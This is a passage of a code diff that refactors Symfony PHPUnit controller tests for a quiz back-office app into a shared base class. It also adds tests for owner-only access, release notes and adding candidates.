@@ -308,8 +314,7 @@ final class QuizControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testOverviewLoadsForEmptyQuiz(): void
|
public function testOverviewLoadsForEmptyQuiz(): void
|
||||||
{
|
{
|
||||||
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'krtek']);
|
$season = $this->getSeasonByCode('krtek');
|
||||||
$this->assertInstanceOf(Season::class, $season);
|
|
||||||
|
|
||||||
$emptyQuiz = new Quiz();
|
$emptyQuiz = new Quiz();
|
||||||
$emptyQuiz->name = 'Empty Quiz';
|
$emptyQuiz->name = 'Empty Quiz';
|
||||||
@@ -326,8 +331,7 @@ final class QuizControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testAnswerMappingRedirectsWithFlashWhenNoQuestions(): void
|
public function testAnswerMappingRedirectsWithFlashWhenNoQuestions(): void
|
||||||
{
|
{
|
||||||
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'krtek']);
|
$season = $this->getSeasonByCode('krtek');
|
||||||
$this->assertInstanceOf(Season::class, $season);
|
|
||||||
|
|
||||||
$emptyQuiz = new Quiz();
|
$emptyQuiz = new Quiz();
|
||||||
$emptyQuiz->name = 'Empty Quiz';
|
$emptyQuiz->name = 'Empty Quiz';
|
||||||
|
|||||||
@@ -4,63 +4,29 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Safe\DateTimeImmutable;
|
use Safe\DateTimeImmutable;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\Backoffice\QuizController;
|
use Tvdt\Controller\Backoffice\QuizController;
|
||||||
use Tvdt\Entity\Answer;
|
use Tvdt\Entity\Answer;
|
||||||
use Tvdt\Entity\Candidate;
|
|
||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Entity\QuizCandidate;
|
use Tvdt\Entity\QuizCandidate;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
#[CoversClass(QuizController::class)]
|
#[CoversClass(QuizController::class)]
|
||||||
final class QuizFinalizeTest extends WebTestCase
|
final class QuizFinalizeTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
protected function setUp(): void
|
||||||
{
|
{
|
||||||
$this->client = self::createClient();
|
parent::setUp();
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'krtek-admin@example.org']);
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getQuizByName(string $name): Quiz
|
|
||||||
{
|
|
||||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => $name]);
|
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
|
||||||
|
|
||||||
return $quiz;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getKrtekSeason(): Season
|
|
||||||
{
|
|
||||||
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'krtek']);
|
|
||||||
$this->assertInstanceOf(Season::class, $season);
|
|
||||||
|
|
||||||
return $season;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private function getCsrfTokenFromOverview(Quiz $quiz, string $formActionContains): string
|
private function getCsrfTokenFromOverview(Quiz $quiz, string $formActionContains): string
|
||||||
{
|
{
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id));
|
return $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id), $formActionContains);
|
||||||
$this->assertResponseIsSuccessful();
|
|
||||||
|
|
||||||
$input = $crawler->filter(\sprintf('form[action*="%s"] input[name="_token"]', $formActionContains));
|
|
||||||
$this->assertGreaterThan(0, $input->count(), \sprintf('No form found with action containing "%s"', $formActionContains));
|
|
||||||
|
|
||||||
return (string) $input->first()->attr('value');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testFinalizeSetsFinalizedAt(): void
|
public function testFinalizeSetsFinalizedAt(): void
|
||||||
@@ -79,7 +45,7 @@ final class QuizFinalizeTest extends WebTestCase
|
|||||||
|
|
||||||
public function testFinalizeRefusedWhenQuizHasErrors(): void
|
public function testFinalizeRefusedWhenQuizHasErrors(): void
|
||||||
{
|
{
|
||||||
$season = $this->getKrtekSeason();
|
$season = $this->getSeasonByCode('krtek');
|
||||||
|
|
||||||
$invalidQuiz = new Quiz();
|
$invalidQuiz = new Quiz();
|
||||||
$invalidQuiz->name = 'Invalid Quiz';
|
$invalidQuiz->name = 'Invalid Quiz';
|
||||||
@@ -116,7 +82,7 @@ final class QuizFinalizeTest extends WebTestCase
|
|||||||
$this->assertResponseRedirects();
|
$this->assertResponseRedirects();
|
||||||
|
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
$season = $this->getKrtekSeason();
|
$season = $this->getSeasonByCode('krtek');
|
||||||
$this->assertInstanceOf(Quiz::class, $season->activeQuiz);
|
$this->assertInstanceOf(Quiz::class, $season->activeQuiz);
|
||||||
$this->assertSame('Quiz 1', $season->activeQuiz->name);
|
$this->assertSame('Quiz 1', $season->activeQuiz->name);
|
||||||
}
|
}
|
||||||
@@ -134,7 +100,7 @@ final class QuizFinalizeTest extends WebTestCase
|
|||||||
$this->assertResponseRedirects();
|
$this->assertResponseRedirects();
|
||||||
|
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
$season = $this->getKrtekSeason();
|
$season = $this->getSeasonByCode('krtek');
|
||||||
$this->assertInstanceOf(Quiz::class, $season->activeQuiz);
|
$this->assertInstanceOf(Quiz::class, $season->activeQuiz);
|
||||||
$this->assertSame('Quiz 2', $season->activeQuiz->name);
|
$this->assertSame('Quiz 2', $season->activeQuiz->name);
|
||||||
}
|
}
|
||||||
@@ -183,8 +149,7 @@ final class QuizFinalizeTest extends WebTestCase
|
|||||||
// Scrape the token before a candidate starts, since the button disappears afterwards
|
// Scrape the token before a candidate starts, since the button disappears afterwards
|
||||||
$token = $this->getCsrfTokenFromOverview($quiz, '/unfinalize');
|
$token = $this->getCsrfTokenFromOverview($quiz, '/unfinalize');
|
||||||
|
|
||||||
$candidate = $this->entityManager->getRepository(Candidate::class)->findOneBy(['name' => 'Tom']);
|
$candidate = $this->getCandidate('Tom');
|
||||||
$this->assertInstanceOf(Candidate::class, $candidate);
|
|
||||||
$quizCandidate = new QuizCandidate($quiz, $candidate);
|
$quizCandidate = new QuizCandidate($quiz, $candidate);
|
||||||
$quizCandidate->started = new DateTimeImmutable();
|
$quizCandidate->started = new DateTimeImmutable();
|
||||||
|
|
||||||
@@ -229,6 +194,6 @@ final class QuizFinalizeTest extends WebTestCase
|
|||||||
self::assertResponseRedirects(\sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz2->id));
|
self::assertResponseRedirects(\sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz2->id));
|
||||||
|
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
$this->assertNotInstanceOf(Quiz::class, $this->getKrtekSeason()->activeQuiz);
|
$this->assertNotInstanceOf(Quiz::class, $this->getSeasonByCode('krtek')->activeQuiz);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,47 +4,18 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\Backoffice\QuizQuestionController;
|
use Tvdt\Controller\Backoffice\QuizQuestionController;
|
||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
#[CoversClass(QuizQuestionController::class)]
|
#[CoversClass(QuizQuestionController::class)]
|
||||||
final class QuizQuestionControllerTest extends WebTestCase
|
final class QuizQuestionControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
$this->client = self::createClient();
|
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function loginAsOwner(): void
|
|
||||||
{
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'krtek-admin@example.org']);
|
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getQuizByName(string $name): Quiz
|
|
||||||
{
|
|
||||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => $name]);
|
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
|
||||||
|
|
||||||
return $quiz;
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testEditPreservesAnswerOrdering(): void
|
public function testEditPreservesAnswerOrdering(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
|
|
||||||
$quiz = $this->getQuizByName('Quiz 2');
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
$question = null;
|
$question = null;
|
||||||
@@ -111,7 +82,7 @@ final class QuizQuestionControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testReorderQuestionsWithinQuiz(): void
|
public function testReorderQuestionsWithinQuiz(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
|
|
||||||
$quiz = $this->getQuizByName('Quiz 2');
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
$originalQuestions = $quiz->questions->toArray();
|
$originalQuestions = $quiz->questions->toArray();
|
||||||
@@ -144,4 +115,43 @@ final class QuizQuestionControllerTest extends WebTestCase
|
|||||||
$this->assertSame($originalLastId, (string) $reorderedQuestions[0]->id);
|
$this->assertSame($originalLastId, (string) $reorderedQuestions[0]->id);
|
||||||
$this->assertSame($originalFirstId, (string) $reorderedQuestions[\count($reorderedQuestions) - 1]->id);
|
$this->assertSame($originalFirstId, (string) $reorderedQuestions[\count($reorderedQuestions) - 1]->id);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function testEditIsDeniedForNonOwner(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
|
$question = $quiz->questions->first();
|
||||||
|
$this->assertInstanceOf(Question::class, $question);
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf(
|
||||||
|
'/backoffice/season/krtek/quiz/%s/question/%s/edit',
|
||||||
|
$quiz->id,
|
||||||
|
$question->id,
|
||||||
|
));
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(403);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testReorderIsDeniedForNonOwner(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
|
|
||||||
|
// Scrape a valid CSRF token as the owner before switching to the non-owner account,
|
||||||
|
// since the token is bound to the session, not the logged-in user.
|
||||||
|
$this->loginAs('krtek-admin@example.org');
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id));
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
$csrfToken = $crawler->filter('[data-bo--question-list-csrf-value]')->attr('data-bo--question-list-csrf-value');
|
||||||
|
$this->assertNotEmpty($csrfToken);
|
||||||
|
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/questions/reorder', $quiz->id), [
|
||||||
|
'_token' => $csrfToken,
|
||||||
|
'ordering' => array_map(static fn (Question $q): string => (string) $q->id, $quiz->questions->toArray()),
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(403);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,55 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use Symfony\Component\Cache\Adapter\ArrayAdapter;
|
||||||
|
use Symfony\Component\HttpClient\MockHttpClient;
|
||||||
|
use Symfony\Component\HttpClient\Response\MockResponse;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use Tvdt\Controller\Backoffice\ReleasesController;
|
||||||
|
use Tvdt\Service\GitHubReleasesService;
|
||||||
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
|
|
||||||
|
#[CoversClass(ReleasesController::class)]
|
||||||
|
final class ReleasesControllerTest extends AbstractControllerWebTestCase
|
||||||
|
{
|
||||||
|
public function testReleasesFrameRendersReleaseNotes(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('user2@example.org');
|
||||||
|
$this->mockReleasesService();
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/backoffice/releases');
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorTextContains('body', 'v0.8.0');
|
||||||
|
self::assertSelectorTextContains('body', 'Some release notes');
|
||||||
|
self::assertSelectorTextContains('#releasesModalLabel', 'Huidige versie: v0.8.0');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testReleasesFrameIsAccessibleWithoutAuthentication(): void
|
||||||
|
{
|
||||||
|
$this->mockReleasesService();
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/backoffice/releases');
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mockReleasesService(): void
|
||||||
|
{
|
||||||
|
$body = json_encode([
|
||||||
|
[
|
||||||
|
'tag_name' => 'v0.8.0',
|
||||||
|
'name' => 'v0.8.0',
|
||||||
|
'published_at' => '2026-07-12T10:00:00Z',
|
||||||
|
'body' => 'Some release notes',
|
||||||
|
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
|
||||||
|
],
|
||||||
|
], \JSON_THROW_ON_ERROR);
|
||||||
|
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
|
||||||
|
self::getContainer()->set(GitHubReleasesService::class, new GitHubReleasesService($httpClient, new ArrayAdapter()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,40 +4,27 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\Backoffice\SeasonController;
|
use Tvdt\Controller\Backoffice\SeasonController;
|
||||||
use Tvdt\Entity\Candidate;
|
use Tvdt\Entity\Candidate;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
|
|
||||||
#[CoversClass(SeasonController::class)]
|
#[CoversClass(SeasonController::class)]
|
||||||
final class SeasonControllerTest extends WebTestCase
|
final class SeasonControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
protected function setUp(): void
|
||||||
{
|
{
|
||||||
$this->client = self::createClient();
|
parent::setUp();
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'krtek-admin@example.org']);
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testRegenerateSeasonCodeChangesTheCode(): void
|
public function testRegenerateSeasonCodeChangesTheCode(): void
|
||||||
{
|
{
|
||||||
$oldCode = 'krtek';
|
$oldCode = 'krtek';
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/%s/settings', $oldCode));
|
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/%s/settings', $oldCode), '/regenerate-code');
|
||||||
self::assertResponseIsSuccessful();
|
|
||||||
|
|
||||||
$token = (string) $crawler->filter('form[action*="/regenerate-code"] input[name="_token"]')->first()->attr('value');
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/%s/settings/regenerate-code', $oldCode), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/%s/settings/regenerate-code', $oldCode), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -54,13 +41,9 @@ final class SeasonControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testRegenerateSeasonCodeIsDeniedForNonOwner(): void
|
public function testRegenerateSeasonCodeIsDeniedForNonOwner(): void
|
||||||
{
|
{
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/settings');
|
$token = $this->getCsrfTokenFromPage('/backoffice/season/krtek/settings', '/regenerate-code');
|
||||||
self::assertResponseIsSuccessful();
|
|
||||||
$token = (string) $crawler->filter('form[action*="/regenerate-code"] input[name="_token"]')->first()->attr('value');
|
|
||||||
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'test@example.org']);
|
$this->loginAs('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, '/backoffice/season/krtek/settings/regenerate-code', [
|
$this->client->request(Request::METHOD_POST, '/backoffice/season/krtek/settings/regenerate-code', [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -69,29 +52,10 @@ final class SeasonControllerTest extends WebTestCase
|
|||||||
self::assertResponseStatusCodeSame(403);
|
self::assertResponseStatusCodeSame(403);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function getCandidate(string $name): Candidate
|
|
||||||
{
|
|
||||||
$candidate = $this->entityManager->getRepository(Candidate::class)->findOneBy(['name' => $name]);
|
|
||||||
$this->assertInstanceOf(Candidate::class, $candidate);
|
|
||||||
|
|
||||||
return $candidate;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getCsrfTokenFromCandidatesTab(string $formActionContains): string
|
|
||||||
{
|
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/candidates');
|
|
||||||
self::assertResponseIsSuccessful();
|
|
||||||
|
|
||||||
$input = $crawler->filter(\sprintf('form[action*="%s"] input[name="_token"]', $formActionContains));
|
|
||||||
$this->assertGreaterThan(0, $input->count(), \sprintf('No form found with action containing "%s"', $formActionContains));
|
|
||||||
|
|
||||||
return (string) $input->first()->attr('value');
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRenameCandidate(): void
|
public function testRenameCandidate(): void
|
||||||
{
|
{
|
||||||
$candidate = $this->getCandidate('Tom');
|
$candidate = $this->getCandidate('Tom');
|
||||||
$token = $this->getCsrfTokenFromCandidatesTab(\sprintf('/candidate/%s/rename', $candidate->id));
|
$token = $this->getCsrfTokenFromPage('/backoffice/season/krtek/candidates', \sprintf('/candidate/%s/rename', $candidate->id));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/rename', $candidate->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/rename', $candidate->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -109,7 +73,7 @@ final class SeasonControllerTest extends WebTestCase
|
|||||||
public function testRenameCandidateToExistingNameShowsError(): void
|
public function testRenameCandidateToExistingNameShowsError(): void
|
||||||
{
|
{
|
||||||
$candidate = $this->getCandidate('Tom');
|
$candidate = $this->getCandidate('Tom');
|
||||||
$token = $this->getCsrfTokenFromCandidatesTab(\sprintf('/candidate/%s/rename', $candidate->id));
|
$token = $this->getCsrfTokenFromPage('/backoffice/season/krtek/candidates', \sprintf('/candidate/%s/rename', $candidate->id));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/rename', $candidate->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/rename', $candidate->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -128,7 +92,7 @@ final class SeasonControllerTest extends WebTestCase
|
|||||||
{
|
{
|
||||||
$candidate = $this->getCandidate('Tom');
|
$candidate = $this->getCandidate('Tom');
|
||||||
$candidateId = $candidate->id;
|
$candidateId = $candidate->id;
|
||||||
$token = $this->getCsrfTokenFromCandidatesTab(\sprintf('/candidate/%s/delete', $candidate->id));
|
$token = $this->getCsrfTokenFromPage('/backoffice/season/krtek/candidates', \sprintf('/candidate/%s/delete', $candidate->id));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/delete', $candidate->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/delete', $candidate->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -140,14 +104,48 @@ final class SeasonControllerTest extends WebTestCase
|
|||||||
$this->assertNotInstanceOf(Candidate::class, $this->entityManager->getRepository(Candidate::class)->find($candidateId));
|
$this->assertNotInstanceOf(Candidate::class, $this->entityManager->getRepository(Candidate::class)->find($candidateId));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function testAddCandidates(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/add-candidate');
|
||||||
|
$form = $this->client->getCrawler()->filter('form')->form([
|
||||||
|
'add_candidates_form[candidates]' => "Nora\nPiet",
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/backoffice/season/krtek/candidates');
|
||||||
|
$this->entityManager->clear();
|
||||||
|
|
||||||
|
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'krtek']);
|
||||||
|
$this->assertInstanceOf(Season::class, $season);
|
||||||
|
$names = array_map(static fn (Candidate $candidate): string => $candidate->name, $season->candidates->toArray());
|
||||||
|
$this->assertContains('Nora', $names);
|
||||||
|
$this->assertContains('Piet', $names);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testAddCandidatesViaTurboFrameReturnsEmptyFrame(): void
|
||||||
|
{
|
||||||
|
$this->client->xmlHttpRequest(Request::METHOD_GET, '/backoffice/season/krtek/add-candidate', server: ['HTTP_TURBO-FRAME' => 'add-candidates-modal-frame']);
|
||||||
|
$form = $this->client->getCrawler()->filter('form')->form([
|
||||||
|
'add_candidates_form[candidates]' => 'Sanne',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form, [], ['HTTP_TURBO-FRAME' => 'add-candidates-modal-frame']);
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
$this->assertStringContainsString('<turbo-frame id="add-candidates-modal-frame"></turbo-frame>', (string) $this->client->getResponse()->getContent());
|
||||||
|
$this->entityManager->clear();
|
||||||
|
|
||||||
|
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'krtek']);
|
||||||
|
$this->assertInstanceOf(Season::class, $season);
|
||||||
|
$names = array_map(static fn (Candidate $candidate): string => $candidate->name, $season->candidates->toArray());
|
||||||
|
$this->assertContains('Sanne', $names);
|
||||||
|
}
|
||||||
|
|
||||||
public function testRenameCandidateIsDeniedForNonOwner(): void
|
public function testRenameCandidateIsDeniedForNonOwner(): void
|
||||||
{
|
{
|
||||||
$candidate = $this->getCandidate('Tom');
|
$candidate = $this->getCandidate('Tom');
|
||||||
$token = $this->getCsrfTokenFromCandidatesTab(\sprintf('/candidate/%s/rename', $candidate->id));
|
$token = $this->getCsrfTokenFromPage('/backoffice/season/krtek/candidates', \sprintf('/candidate/%s/rename', $candidate->id));
|
||||||
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'test@example.org']);
|
$this->loginAs('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/rename', $candidate->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/candidate/%s/rename', $candidate->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
|
|||||||
@@ -4,11 +4,9 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
use Safe\DateTimeImmutable;
|
use Safe\DateTimeImmutable;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
||||||
use Tvdt\Controller\Backoffice\SettingsController;
|
use Tvdt\Controller\Backoffice\SettingsController;
|
||||||
@@ -17,43 +15,21 @@ use Tvdt\Entity\Quiz;
|
|||||||
use Tvdt\Entity\ResetPasswordRequest;
|
use Tvdt\Entity\ResetPasswordRequest;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
|
|
||||||
#[CoversClass(SettingsController::class)]
|
#[CoversClass(SettingsController::class)]
|
||||||
final class SettingsControllerTest extends WebTestCase
|
final class SettingsControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
protected function setUp(): void
|
||||||
{
|
{
|
||||||
$this->client = self::createClient();
|
parent::setUp();
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
|
|
||||||
$this->loginAs('test@example.org');
|
$this->loginAs('test@example.org');
|
||||||
}
|
}
|
||||||
|
|
||||||
private function loginAs(string $email): void
|
|
||||||
{
|
|
||||||
$user = $this->getUserByEmail($email);
|
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getUserByEmail(string $email): ?User
|
|
||||||
{
|
|
||||||
return $this->entityManager->getRepository(User::class)->findOneBy(['email' => $email]);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getCsrfTokenFromSettings(string $formActionContains): string
|
private function getCsrfTokenFromSettings(string $formActionContains): string
|
||||||
{
|
{
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/settings');
